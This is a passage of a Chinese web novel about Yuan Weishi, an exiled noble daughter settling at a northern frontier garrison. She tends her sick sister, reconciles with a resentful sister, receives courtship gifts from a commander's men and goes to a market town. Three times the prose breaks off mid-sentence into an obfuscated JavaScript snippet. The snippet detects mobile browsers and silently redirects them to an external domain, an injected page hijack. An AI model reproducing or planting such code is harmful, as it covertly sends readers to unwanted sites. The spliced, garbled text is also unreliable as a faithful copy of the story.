《从罪臣之女到一代大儒》 3. 乔迁 死寂并未持续太久。 第二天一大早,屯所的寂静就被马蹄声打破。 十几个穿着半旧皮甲、挎着腰刀的兵卒,簇拥着一个满脸横肉的小头目,径直闯到了袁家破败的土屋前。文柏一打开门,就被马蹄踏起的尘土扑了一脸。 “袁家的!袁家人在不在?”那小头目声音洪亮又热情,与往日的冷漠截然不同。 袁文柏警惕地挡在门口,秋月站在一旁吓得瑟瑟发抖。 袁微识深吸一口气,整理了一下衣襟,平静地走了出去:“军爷有何贵干?” 那小头目一见袁微识,眼睛顿时一亮,脸上的横肉都挤出了几分笑模样,腰也弯了几分:“哎哟!袁大小姐!小的姓王,是守备大人麾下的什长!就管咱们这块!奉大人之命,特来给大小姐搬家!” 他大手一挥,指向身后几辆骡车,“守备大人吩咐了,让给袁家寻个敞亮暖和的好住处!就在屯所西头,砖瓦房!离镇上可近呢!快快快,你们,手脚麻利点!帮老夫人、小姐少爷们把东西都搬上车!仔细着点,别碰坏了!” 他话音刚落,那些兵卒立刻涌了上来,完全无视了袁文柏的阻拦,七手八脚地就开始搬屋里的东西——其实也没什么好搬的,无非是几床硬邦邦的破被褥,几个豁口的粗瓷碗破水壶,两三个包裹。 袁家人被簇拥着推上了骡车,毫无办法。 袁见澜则躲在门后,看着那些兵卒搬动她们仅有的家当,又看看被众星捧月般围着的袁微识,手指绞着衣角,阴沉着脸不知在琢磨什么。 大部分家什都被嫌弃地丢在了原地,能用的也都被搬上了骡车。王什长满脸堆笑,亲自上前,对袁微识做了个“请”的手势:“袁大小姐,您请上车!老夫人,您慢点!小的扶着您!”那姿态,与几天前的嘴脸判若云泥。 骡车吱吱呀呀地碾过冻土,驶离了这个小小的屋子。张大郎的父亲缩在门后不敢出来,他大概已经知道了张大郎被赶走的消息,不知道会不会去寻他。 袁微识无心去想张大郎的事,她坐在颠簸的车板上,看着身后那间迅速缩小的破土屋,心中一片冰凉。这搬家的排场,与其说是帮忙,不如说是徐乱在向所有人宣告他的所有权——袁微识,是他徐乱的人,袁家,现在由徐乱罩着。 新家果然在屯所西头,比起原先的破土屋,简直是天壤之别。虽然依旧是泥土夯实的院墙,但正屋是几间结实的砖瓦房,屋顶盖着厚厚的茅草,窗户虽然糊的是麻纸,但看着就比原先的破洞结实挡风。屋里居然盘了两个土炕,已经烧好了火,一进门一股热气袭来,让人毛孔都舒展开来。 炕上铺着几张看起来还算厚实、且浆洗过的旧被褥,虽然布料粗糙,但比起她们之前的破棉絮,已是天上地下。厢房角落里,还堆放着几袋粮食、木柴灶具,样样齐全。 王什长指挥着兵卒把袁家那点可怜的行李搬进来,堆在墙角,又指着粮食木炭谄笑道:“大小姐,老夫人,这些都是守备大人吩咐备下的!这屋子也派人连夜拾掇过了,保准比您原先那地方暖和!大人说了,让您几位先安心住下,缺什么少什么,只管跟小的说!” 什长嘿嘿笑着,搓着手,竟然有些不好意思。 “咱们屯毕竟偏,条件有限,老夫人且将就住着,待到……嘿嘿,待到那时,自然有条件更好的房子住。” 袁微识耳朵有些发热,她知道,这个“那时”,自然就是三日后的迎亲。 王什长又凑近袁微识,压低声音道:“大人还吩咐了,给小小姐请大夫!城里最好的张大夫,一会儿就到!您放心!” 袁微识心头猛地一跳,面上却依旧平静如水,只微微颔首:“有劳王什长费心,替我多谢守备大人。” “不敢当不敢当!这都是小的分内事!”王什长连连摆手,又招呼手下,“都机灵点!别杵这儿碍眼了!走!”一群兵卒呼啦啦地退了出去,院子里终于恢复了安静。 屋里再次只剩下袁家人。文柏脸上自始至终带着屈辱和反抗,他几次看向长姐,想说什么,又硬生生憋回去。袁微识看着小小少年满脸的别扭,心里好笑。 见澜却沉默许多,早早扶着老夫人坐在炕上,又和秋月一起烧热水。 这时,院门被敲响了。秋月战战兢兢地去开门,只见门外站着一个身着半旧棉袍、须发花白的老者,身后还跟着一个提着药箱的小童。 “老朽姓张,受守备徐大人之托,前来为府上小姐诊病。”老者声音平和,让人闻之心安。 袁微识心知张大夫必是军营的大夫,立即请他入座。 “有劳张大夫,小妹病重,烦请您费心。” 张大夫扫过这一屋子老弱妇孺,在袁微识憔悴却更显清丽的脸上停留了一瞬,微微颔首:“袁大小姐不必多礼,此乃医者本分。”他不再多言,径直走向炕边,给昭明把脉。 片刻后,张大夫收回了手。他看了看袁微澜烧得通红的小脸和干裂的嘴唇,又翻开看她的眼皮。 “大夫,我这孙女她……”袁老夫人颤巍巍地开口问。 张大夫轻轻叹了口气:“风寒入肺,郁而化热,加之体虚气弱,心神失养,已是颇为凶险。若再耽搁一两日……”后面的话他没说,但意思不言而喻。袁老夫人身体一晃,差点晕厥过去,被秋月死死扶住。 袁微识的心猛地一沉。 “不过,”张大夫话锋一转,“幸好尚未至绝境。老朽开个方子,清热化痰,宣肺平喘,固本培元。药需按时服用,细心照料,退热后仍需静养一段时日,切忌再受风寒。”他一边说,一边示意小童打开药箱,取出纸笔,开始写方子。 张大夫将写好的药方递给袁微识:“按此方抓药,三碗水煎成一碗,早晚各服一次。药引老姜三片,红枣两枚。这里有几粒应急的丸药,若夜间高热惊厥,可化水灌服一粒。”他又从药箱里拿出一个青色的小瓷瓶。 袁微识心头一松,差点落下泪来。昭明是母亲拼了命生下来的孩子,若是出了事,以后叫她怎么有脸去见母亲? 她抓住药方,哽咽道:“多谢张大夫救命之恩!大恩大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15939220|177271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 德,没齿难忘!” 张大夫捋着胡须摆摆手,“倒是不必谢我。送人送到西,这几服药我给你抓来,速速让病人服下,不可再耽搁了。”说完就要离开。 袁微识连忙送到门口。她心念一动,又问:“敢问张大夫住在哪里?我小妹若是有反复,还得再请大夫看才是。” 张大夫捋着胡须呵呵笑,“吃完这几服药,三日后若是还未好转,你自让徐乱去抓我!” 袁微识一怔,才知张大夫和徐乱关系如此亲密。 昭明的病一直让大家吊着心,一直到晚饭时刻,她终于退了烧,清醒过来,又喝了一些米粥。眼见着人精神了许多。这让紧绷了许久的袁家人都松了一口气。 这一日,徐乱那边没有任何动静,仿佛遗忘了她们。但王什长倒是又来了两次,一次是送来了半扇风干的羊肉和一小袋白米,说是守备大人吩咐给病人补身子的;另一次是带着两个粗使婆子,送来了几套厚实棉衣,说是给老夫人和小姐们御寒。 昭明虽小,却聪明敏感,她好像预感到袁微识要离开袁家,自从清醒后就一直紧紧抓着她不放手。 “姐姐,姐姐不要昭明了吗?我梦见你走了,不要昭明了!” 袁微识心里针扎一样,也只能一遍遍安慰小妹,哄她睡下。 “傻昭明,姐姐怎么会不要你?姐姐就在这儿,哪儿也不去。你看,你的病快好了,姐姐高兴还来不及呢。” “可是…”袁昭明大眼睛里蓄满了泪水,“二姐姐说,有个很凶很凶的大胡子叔叔会把姐姐抢走!昭明很乖,不要姐姐走!”她说着,又咳嗽起来。 袁微识轻轻拍着妹妹的背:“昭明不怕。姐姐不会离开你们的。那个……大胡子叔叔,”她顿了一下,艰难地吐出这个称呼,“他只是……只是帮我们找了暖和的地方住,请了大夫给昭明看病。你看,昭明现在是不是好多了?” 昭明似懂非懂地点点头,小手依旧紧紧抓着袁微识的衣角,仿佛一松手姐姐就会消失。 安抚好小妹再次睡下,袁微识走到外间。袁老夫人不知何时已经坐了起来,正对着油灯发呆。 “祖母。”袁微识轻轻唤了一声。 袁老夫人没有回头,过了许久,她才开口,“大丫头……委屈你了。” 袁微识垂下眼帘,掩去眸底翻涌的情绪:“能活着,能看着昭明好起来,看着祖母和弟妹都在,就不算委屈。” “你本来,本来应该有个好姻缘的。”老夫人幽幽叹了一口气。 “大丫头,别的我不多说,你可想好以后?” 老夫人捻着佛珠,担忧地看着袁微识。 “你本是金陵有名的才女,求亲的人把门槛都踏破了,你爹都不愿意把你嫁出去。金陵女儿多才俊,一见微识尽低眉。”回忆起往昔,老夫人脸上带出一丝惆怅的微笑。 “你既许了他,以后想离开便难了。他有没有妾室,待人如何,家中高堂什么性子?最重要的,你和一个武人,可能谈天说地?这过日子,总得有日子过。” 4.怀柔 “袁家是不是能平反且不论,大丫头,我现在只担心你呀!” 经过了一日的修养,老夫人已经恢复了平日的镇定,除却眉目间的愁容,看起来与平日并无二致。 袁微识抿了抿嘴唇,目光扫过炕头另一边的文柏,和接收到她眼光立即闭眼假寐的见澜。 文柏尚小,见澜有些小心思,她不愿在他们二人面前多吐露自己的打算,只朝老夫人微笑。 “祖母,有什么事,明日再说吧。累了这许多日,大家也都好好休息,明日还有许多事要做。” 老夫人目光一闪,颔首赞同:"你说的也对,明日,确实有很多事要做。" ** 翌日,袁家果然忙的像陀螺一般。 这间院子虽然可能只是袁家的暂住地,但是袁微识希望依旧希望他们能住的舒服一点。 这里坐落在卫所东头,后面正对通往营地的小路,左前方却是镇子的边缘。院子虽然不大,里面却有一口井,井深不见底,水清质甘。徐乱可能只是随口下了个命令,下面的千户百户却用足了心思。 袁微识心里承情,手下也不闲着,安排秋月见澜擦洗新家。虽然家具简陋,只有炕桌、几个木凳和一个旧柜子,但胜在干净。王百户送来的厚实被褥铺在炕上,总算有了点“家”的样子。文柏虽然还小,也要担起责任来。她带着着弱小的文柏劈柴、烧炕,确保祖母和小妹昭明的炕头始终暖着。 简单活计还有人干,做饭这件事却让他们很为难。概因北地寒冷,肉大多风干偏柴,这对于来自金陵城的袁家人来说,处理起来很有些费劲。 袁微识擦了擦额头的汗,把费了半天劲才勉强片好的风干肉下在砂锅里。她舒了口气,又抽出两根柴控制火候,才端起放凉的药走向内室。 昭明的病情在袁微识心里是重中之重。七八岁的年纪却吃了这许多苦,一想起母亲,她心里沉甸甸的。 幸好张大夫的药有奇效,加上这温暖的环境和袁微识精心熬煮的米粥、肉糜,昭明终于不再发热了。虽然她小脸依旧苍白,精神也蔫蔫的,但乌溜溜的大眼睛重新有了神采,可以抓着袁微识的手指,软软地叫姐姐了。 “姐姐在呢,”袁微识连忙换上笑脸,看着妹妹小口小口喝下加了红枣的药汤,柔声道:“昭明真乖,把药喝了,快快好起来。” 昭明皱着眉头喝完药,往袁微识怀里缩了缩,小声问:“姐姐,我又梦见大胡子叔叔了……他对你好凶,我在旁边使劲叫你,你回头就走了,看也不看我一眼。姐姐,你不会扔下我吧?” 又是这种梦!这已经是这一天一夜里第三次了!每次昭明喝了药好不容易安稳睡下,不久后就会惊醒,啜泣着说类似的话。 袁微识动作微顿,轻轻拍着妹妹的背,声音平稳:“我不会离开的,他也不会凶昭明的。这些药就是他送来的,他对昭明挺好的,对不对?”昭明似懂非懂地点点头,依赖地蹭了蹭姐姐,又问:“姐姐,那我们什么时候回金陵呢?我想章家姐姐了,她上次还答应我,要带我去簪花呢。” 回金陵啊……谁不想回去呢?小昭明尚不知此路艰辛,还以为长姐顷刻间就能解决她所有的问题。 袁微识无奈,只好抱着她哄了又哄。昭明睡下后,袁微识目光微沉。 小小的昭明一直在生病,大胡子叔叔这些话是谁告诉她的,到底是谁镇日在她耳边吓唬她?袁微识的目光在院子里逡巡。 那必定是…… 流放这么多日以来,袁微识难得踌躇。 同是深宅女儿,平日偶尔有些摩擦倒也罢了,不痛不痒。但是现在情况却大不相同,袁家自己人所剩无几,若是再不能扭成一股绳,那必然会被吃的骨头都不剩。 若是不提,便是给袁家埋下一个雷。而老夫人羸弱,唯一能镇住她的人只有自己,自己却马上要出门子了! 若是提了,却总有嫌隙。她本来就因为二婶的事情,对自己一向愤懑,现在这情绪只怕更深了。 昭明病弱,需要静养;文柏年幼,遇事冲动。 家宅不宁,是袁家目前最不能承受的。徐乱能提供庇护,却未必愿意袁家人在后面使绊子。一旦闹得人尽皆知,丢的是袁家不多的脸面,败的是袁家仅剩的希望。 袁微识端着空碗起身走到门口,顿了顿,站在阴影里。 自己即将嫁给徐乱,以后三五日能来一趟就已经算是奢侈了,端看徐乱这个人好不好相与。昨日祖母提醒的没错,她们若要有什么想法,必须提前准备起来了! 而徐家是什么龙潭虎穴,她一无所知。她需要后方安稳,需要祖母和弟妹们在她暂时无法分心时能互相扶持,而不是后院起火。 见澜已经擦洗完毕,现正坐在灶台边,有一搭没一搭地戳灶里的木柴。 袁微识深吸一口气,端着空药碗走向厨房。 她将药碗洗净放好,又仔细查看了灶膛里的火,确保暖炕的热度足够。做完这一切,她轻轻坐在见澜旁边。 见澜动作微不可查地顿了一下,却没有抬头。 厨房里,灶膛里的火苗舔舐着锅底,发出细微的噼啪声。 袁微识没有立刻说话。她先将温水递给见澜,“天冷,喝口热水暖暖。” 见澜瑟缩一下,沉默接过水。火光在二人脸上跳跃。 沉默在狭小的空间里蔓延,只有昭明偶尔的呓语和窗外风沙的呜咽。 袁微识终于开口,清晰地传入袁见澜耳中:“昭明虽然不发烧了,夜里总惊悸,睡不安稳,这药效也就大打折扣。现在好歹有了些皮毛,明日我带文柏拿到镇上换钱,去买些日用品回来。再买些生姜大枣,我们一路辛苦,好的东西一时半会儿的不可得,这些还是用得上的。还要多认识邻居,再去和百户打个招呼……” 她絮絮叨叨,见澜提着的心也逐渐放了下来。 袁微识突然顿了顿,目光落在袁见澜低垂的脸上,“我方才哄昭明时,她说是二姐告诉她,徐守备明日要抢走我,再也不回来了。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15945656|177271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>袁微识笑了笑,“二妹,小妹生病,你很开心吗?” 袁见澜的身体猛地一颤,她抬起头,语无伦次:“我……我没有!是她……是她自己做梦……” “见澜,”袁微识轻轻打断她,“昭明才六岁。她分不清噩梦和真话。在病中,她信任依赖的姐姐在她耳边说的话,她会当成真的。休息不好,是会要人命的。” 袁见澜的脸色变了几变,尖着嗓子怼回去:“那又怎样?我说的是实话!你后天不是就要嫁给他了吗?离开这个家,去过你的好日子了!” “好日子?”袁微识轻轻重复了一遍,勾起嘴角。 “见澜,你觉得嫁给一个素不相识、传闻中凶神恶煞的边疆武夫,去做一个自身难保的守备夫人,是什么好日子吗?” “那总比我们强吧!是,你美姿容好才学人见人爱,处处都比别人强,就连流放都比别人抢先一步找到夫婿!你总想着处处压我一头!怎么,我说的不对吗?” “我是为了荣华富贵吗?” 袁微识深吸一口气:“我是为了什么,你真的一点都不明白吗?” 袁见澜一时语塞。 袁微识冷静一下,换上艾艾的表情。 “见澜,我们姓袁,我们是一家人。父亲和二叔还在京城的大牢里,祖母年迈,昭明年幼体弱,文柏还是个半大孩子。我们朝不保夕,只剩下彼此了。” 她伸出手,轻轻覆上袁见澜冰凉僵硬的手背。袁见澜下意识地想抽回,却被微微用力按住。 “我知道,你心里怨。二婶路上不知所踪,你害怕。你觉得这一切都是因为我爹,连累了二叔连累了你。你怨我,我能理解。”袁微识紧紧抓住她,“可是见澜,把怨气撒在病弱的昭明身上,有用吗?吓坏了她,让她病情加重,甚至……甚至有个闪失,除了让我们这个本就摇摇欲坠的家彻底崩塌,让仇者快,亲者痛,还能得到什么?” 袁见澜眼圈慢慢红了,却仍然倔强地抬起下巴。 “二妹,你信我。我从来没想过抛下袁家任何一个人去享受荣华富贵。你想回金陵吗?” 袁微识伸手擦去见澜眼角的泪水,恳切问她。 “我们总有一日要回金陵的!我们袁家子女,各有各的任务。我去给家里铺路,护送他们回金陵的任务,就交给你了!” 见澜心里一动,抬头看她。 袁微识却微笑着收回手,坐直身体,语气变得郑重:“见澜,我需要你。祖母需要你,昭明需要你,文柏也需要你。这个家,不能散。我嫁过去后,不能时时看顾家里。祖母的汤药,昭明的看护,文柏的教育,还有这屋里的琐碎事务……都需要一个细心可靠的人操持。秋月一个人忙不过来。” “你心思细,针线好,照顾人也比我周到。这个担子,我只能托付给你。只有你在后方把家稳住了,我在前面……才能安心。” 她说着,伸手揽过见澜,“算长姐求你,帮帮我好吗?” 见澜怔了一怔,终于还是忍不住哭了起来。 5.送礼 日头高照,袁微识把见澜抱在怀里哄着,心里逐渐安定下来。不管见澜以后会怎么想,至少这枚雷炸的时间,推后了不少。 她一边拍着见澜的后背,一边扫射四周。 角落里堆放着几个王百户送来的包裹,还没来得及安置。 袁微识拍了拍揉着眼睛的见澜,起身翻看这些包袱。 “秋月,”袁微识唤道,“来帮帮忙。” “是,小姐。”秋月连忙应声,手脚麻利地翻捡起来。 包裹里东西杂乱,有颜色鲜亮却很稀疏的绸缎料子,也有几块厚实但针脚粗劣的羊皮褥子。 袁微识的目光落在一小捆灰扑扑的皮毛上,伸手捻了捻,触手温软,是还不错的沙狐皮。 她心中一动,有了计较。 这些零碎皮毛,修补一下,再添上些针线功夫,拿去镇上估摸着能换些调料、针线,或许还能给祖母和昭明换一些补品。 袁微识和秋月手脚麻利,迅速把东西分类归置。 包袱里除却毛皮衣物,还有一袋面粉和两只蜡兔。 家里人一路从金陵走来,受了不少罪,正好补一补。 “秋月,这里还有面粉,蒸些薄饼,一会吃了饭,文柏随我去镇上。” 袁微识垂下眼眸,说不得,还是得先拿沙狐皮去换钱,买了针线回来,才好缝补别的。 文柏正闷头劈着柴,听见要去镇上,眼睛亮了一下,随即又抿紧唇拒绝:“我,我不去,我要干活。” 还未等袁微识劝他,外面传来一阵急促的马蹄声。 “袁家大小姐在吗?守备大人吩咐,给袁家送东西来啦!” 话音未落,一个身穿簇新皮甲,十五六岁的年轻小兵已经利落地翻身下马,稳稳的停靠在大门前,也不等人来迎,只探头探脑地笑嘻嘻朝里面张望。 他身后跟着一个胖胖的同伴,正笨拙地往马下拖一个木箱子。 袁微识微微蹙眉,站起身走到院中。 那小兵一见到袁微识眼睛顿时瞪圆,上下打量一番,自己脸却先红了。 他挠了挠头,有些不好意思:“这位定是袁大小姐了!小的赵虎,你管我叫虎子就行!他!” 他一把拉过胖胖的同伴,“他叫虫子!我俩都在守备大人账前听差!小的们给大小姐送点东西解闷儿!” 那个叫虫子的小兵也想挠头,却忘了手里还抱着箱子,一抬手,箱子咣当一声砸在虎子脚上。 一时间院子里呼痛声,抱歉声,关切声不绝于缕。 安静的小院顿时鸡飞狗跳,充满了生活气息。 袁微识捂了捂额头,感觉也有点头痛。 箱子砸在地上,盖子摔开,掉落一地宝贝。 袁微识低头一看,果然是一箱子“宝贝”。 几匹颜色过于鲜艳毫不实用的苏丝;一匣子做工粗糙、但却个顶个大的宝石首饰;几盒胭脂水粉,盒子倒是描金绘彩,但是盖子摔开,胭脂散落一地,颗粒粗糙,断不是上等之物。 “大小姐您瞧!”虎子拿起一匹桃红色的苏丝,殷勤地抖开,“这颜色多衬大小姐!还有这胭脂,抹上保管赛过神仙!咱们北疆风沙大,正好用这个润润……”他兀自说得起劲,眼睛亮亮的一直盯着袁微识,充满好奇。 袁微识面上波澜不惊,心中却有些啼笑皆非。 他们倒是有心了,只是这“心”她接起来却很费劲。 她扫过虎子那张毫无城府的脸,心思微转,温声道:“有劳虎子小哥,你们费心了。只是这些东西……”她顿了顿,流露出一丝为难,“我们军户人家,似乎……不大方便?” 虎子完全没有明白什么意思,邦邦地拍着胸脯:“我们守备夫人,自然要用好的!大人说了,让我们看着准备!这可都是我千挑万选才选出来的。” 他又挠了挠头,嘿嘿笑道:“我打小儿在这边长大,也没见过京城啥样,但是王府我去过!那边的小姐丫头们都这么打扮!” 王府?他也去过燕王府? 一个念头迅速闪过,袁微识心念动了动,只微微笑道:“是虎子你亲自挑的吗,可太麻烦你了。” 一听她对自己换了称呼,虎子顿时喜笑颜开。 “嗨!我这点东西算什么!大人为了给您弄这些,前儿还特意……”他话说到一半,似乎意识到什么,猛地刹住。 “特意什么?”袁微识微微探身,一脸忧心:“大人可是公务繁忙?昨日便未见大人遣人来问一声。” “嗨!忙!可忙了!”虎子立刻接口,“大人昨日一大早就带人进黑风峪了!那地方邪乎得很,大雪早早就封了山,老林子又深,专出些稀罕玩意儿,大人亲自去的,说要打最好的皮子……” “虎子!你胡沁什么!”一声粗哑的低喝猛地从院门外炸响,打断了虎子。 一个约莫四十出头、身材敦实、满脸风霜的汉子大步流星地走了进来。 他穿着一身洗得发白的旧棉甲,腰间挎着腰刀,步伐沉稳有力,一看就是久经沙场的老兵。身后跟着两个小兵,合力抬着一个沉甸甸的大麻袋。 那汉子狠狠瞪了虎子一眼,虎子立刻像被掐住了脖子的鸡,讪讪地缩了缩脖子,不敢再多言。 汉子转向袁微识,抱拳行了个军礼,“袁大小姐,卑职赵大勇,奉守备大人之命,给府上送些吃用。” 他声音浑厚踏实,又瞪了一眼虎子:“这小子嘴上没把门的,胡咧咧,您别往心里去。” 身后两个小兵将麻袋放下。 解开袋口,里面是码放整齐的上好牛羊肉块,油膘厚实,纹理清晰;旁边还有一小袋颗粒饱满的黄小米,一袋精细的白面,甚至还有一小坛子封得严严实实的荤油。 和虎子的礼物完全不同,对于现在的袁家来说,这才是最实用的。 “大小姐,这天儿还不太冷,肉坏的快,您家尽管吃。” 赵大勇言简意赅,他扫视过院子,快速瞥了一眼呆呆的文柏和倚在厨房门边的见澜,最后又看回袁微识,“大小姐安心,缺什么,只管开口。” 袁微识敛衽还礼:“多谢赵大哥。也请代我多谢守备大人体恤。” 她目光在赵大勇沉闷的脸上停留片刻,唯一沉吟:“赵大哥常在大人身边,可知大人去那黑风峪……几时能回?风雪天进山,总叫人悬心。” 赵大勇闻言眼神躲闪一下,嘴唇动了动。 他抬头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15983821|177271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看见袁微识清冽的目光,下意识地搓了搓满是老茧的手,不由自主低声道:“那地方,这季节确实凶险,雪深路滑,还有……” “赵大勇!”又是一声冷喝传来,比方才更加严厉。 院门口不知何时又站了一人。 来人身材精瘦,约莫三十岁上下,穿着一身半旧的黑色劲装,外罩一件同样洗得发白的皮甲,腰间挂着一柄黑黢黢的乌鞘长刀。 他面容冷峻,颧骨微高,一双眼睛锐利如鹰隼,此刻正冷冷地扫过虎子和虫子,最后定格在赵大勇脸上。 赵大勇浑身一凛,立刻挺直腰板,垂首肃立:“李头儿!” 被称为“李头儿”的男人并未理会他们,目光直接落在袁微识身上。 他的视线如同他腰间的刀,冰冷锐利,仿佛要将眼前这个女子看个透彻。 袁微识也挺直了腰板,平静地回视。 李头儿面无表情地走进院子,身后跟着的士兵手里捧着一个用厚实油布仔细包裹的长条包袱和一个尺许见方的木盒。 “袁大小姐,”他的声音和他的眼神一样,没什么温度:“卑职千户李严,奉守备大人军令,将此物交予小姐。” 他示意亲兵上前。 油布包裹被小心打开,露出里面叠放整齐的皮毛。 那皮毛色泽纯净,在晦暗的天光下仿佛流淌着柔和的银光——正是顶级的雪貂皮! 皮毛触手冰凉滑腻,毛针细密柔软,厚实异常,远非袁微识方才挑拣的那些边角料可比。整张皮子处理得极好,不见一丝血污破损,显然是顶尖猎手的杰作。 接着,木盒打开,一股清苦微甘香气瞬间弥漫开来,压过了院中牛羊肉的膻气。 盒中红绒布上,静静躺着一支品相极佳的老山参,根须虬结如龙,主根粗壮饱满,一看便知价值不菲。 饶是袁微识心性沉稳,看到这两样东西,呼吸也不由得微微一窒。 雪貂皮,老山参,这就是徐乱进山的理由吗? 李严退后一步,依旧用那毫无起伏的声调说道:“大人有令,貂皮给小姐做个围脖,山参留与府上备用。小姐若无其他吩咐,卑职告退。”他言罢,便欲转身。 “李千户请留步。”袁微识出声唤住他,“大人厚赐,小女愧领。只是……” 她目光在这些礼物上转了一圈,“不知大人一切可还安好?黑风峪偏险,大人何时能归?” 李严脚步顿住,缓缓转过身。 “军务机密,无可奉告。” 他目光如刀,再次扫过一旁噤若寒蝉的虎子,虫子和赵大勇。 “守备大人行事自有分寸。小姐只需安心,静候佳音便是。” 他对着虎子,虫子和赵大勇冷喝道:“东西送到,还不走?等着领军棍吗?” 说罢,径直转身,大步流星地离去,很快消失在卫所泥泞小路的尽头。 虎子三人被李严最后那一眼看得头皮发麻,连忙对着袁微识胡乱拱了拱手,也赶紧牵马追了上去。 院子里瞬间安静下来,只剩下呼啸的北风萧瑟吹过。 袁微识站在原地,目光久久停留在李严消失的方向。 呵,静候佳音? 6.商人 袁微识慢慢皱起眉头。 徐乱这是什么意思?她才不信杀伐果断的活阎王会为了一个刚认识的女子,干冒大险,出生入死,就为了打猎送东西? 而他也必不会为了彰显自己是他的所有物,而显摆至此。 只有一个原因,那就是真有机密的军务。 隐晦透露出的送礼行动,是他放出的烟雾弹。 她暗暗打定主意,要到镇上打听一下,黑风峪到底在哪里,又有何奇特之处。 “长姐?” 文柏和见澜凑了过来,站在一地宝贝旁边不知所措。 袁微识深吸一口气,对他们露出了一个安抚的微笑。 “我们一起把这些收起来。这些吃食够我们用一阵了,至于那些……”她瞥了一眼那箱花花绿绿的东西,“也先收到厢房角落里去。” “秋月,蒸饼做好了吗,我们先吃饭。” “好了好了!我刚拿出来晾着!”秋月忙不迭的从厨房出来,手里的簸箩上叠着热腾腾的白面蒸饼。院子里虽然闹腾,却并没有耽误她做饭。 如果没有秋月留下来帮忙,袁家的老弱妇孺早就垮了! 袁微识心里有些愧疚,只盼着自己能尽快站稳脚跟,好让秋月能早点回到她父母身边去。 她草草吃了饭,安排好众人,用粗布将沙狐皮牢牢打了个包裹,想了想,又用黄纸包了几张蒸饼,带着文柏徒步去了镇子。 徐乱谋划什么不重要,重要的是徐乱一定不能倒,袁家的平反还需要他的帮助。 袁微识望向卫所西边,那是嘉峪关守备府的方向,也是黑风峪所在的莽莽群山的方向。 风沙似乎更急了,铅灰色的云层沉沉压下,北部好像已经起了风暴。 ** 袁家驻扎的这个卫所,是嘉峪关脚下最靠北的,和守备的军营遥遥相望。 而向南走过二里地,就是镇子的最北边。 袁微识裹紧身上的半旧棉衣,左手挽着包裹,右手拉着文柏,一路向南。沿途枯草倒伏,冻土苍茫,一道道车辙印已经被冻结,一不小心踩上就会崴脚。 这一路向南背对北风,尚且已经寒冷刺骨,不知道回去的时候,又会是什么感觉? 袁微识暗暗揣度,北地风硬,他们初来乍到不适应,吹了冷风容易落下病根,下晌还是要早点回去。 风卷着细碎的沙砾,劈头盖脸地打来,刮得人脸颊生疼。走了一炷香后,一片低矮、杂乱的房舍轮廓终于在烈烈寒风中显现出来。这便是离卫所最近的镇子了。 镇子入口处立着一座被风沙侵蚀得斑驳不堪的简陋牌楼,上面模糊地刻着“沙河驿”三个字。 甫一踏入,喧嚣的人声、牲畜的嘶鸣和各种混杂的气味便扑面而来。沙河驿的路是土路,被无数车辙脚印轧得坑洼不平,又混着牲畜粪便,泥泞不堪。 两旁的房屋大多低矮,倒是也有正经镇子的样子,只是略显老旧。砖块累就屋墙,屋顶瓦片茅草样样不少,有新有旧,显得有些不搭。 商铺和摊子沿着这条主路挤挤挨挨地排开。寒风凛冽,小生意却热火朝天。 最多的便是卖吃食的摊子。 粗陶大锅里翻滚着浑浊油腻的羊杂汤,膻气混着浓烈的香料味在寒风中弥漫。 烤得焦黑的馕饼堆得像小山,摊主裹着厚厚的皮袄,戴着圆形小帽,只露出一双精明的小眼睛,嘴里叫着一些袁微识听不懂的话,大概是胡语。 还有卖风干肉条的,卖杂粮馍馍的,卖一种闻起来又酸又呛、据说是用奶发酵的饮子的。 来到卫所这许多日,文柏第一次见到这么多人,很有些兴奋。 他紧紧抓着袁微识的手臂,探头探脑,看到随地乱跑的本地小孩,又有些歆羡。 袁微识却并没有发现文柏的小心思,继续向前走,一心寻找着自己的目标。 铁匠铺里炉火熊熊,叮叮当当的打铁声不绝于耳,门口挂着镰刀、锄头、马掌和粗糙的矛头。 铁匠光着身子,烧红的胸膛汗涔涔的,一脸严肃认真。 袁微识瞥了一眼立即移开目光,不敢再看。 旁边杂货铺的幌子在风中猎猎作响,里面昏暗拥挤,胡乱堆着粗盐、麻布,还有一些针头线脑,劣质的陶碗瓦罐,甚至还有几块颜色黢黑的茶砖。 三五个皮毛摊子占据了相对避风的位置,摊主多是些看上去有些年纪的,满面风霜的汉子。 摊位上堆着各种皮子:粗糙的羊皮、灰扑扑的兔皮,间或能看到几张稍好些的狐皮或狼皮,都挂在身后。这一片空气弥漫着浓重的皮毛膻味和硝石的味道。 袁微识小心地避开泥泞,目光在皮毛贩子周边逡巡。 她需要的不仅仅是卖钱,还要找一个消息灵通的行脚商人。 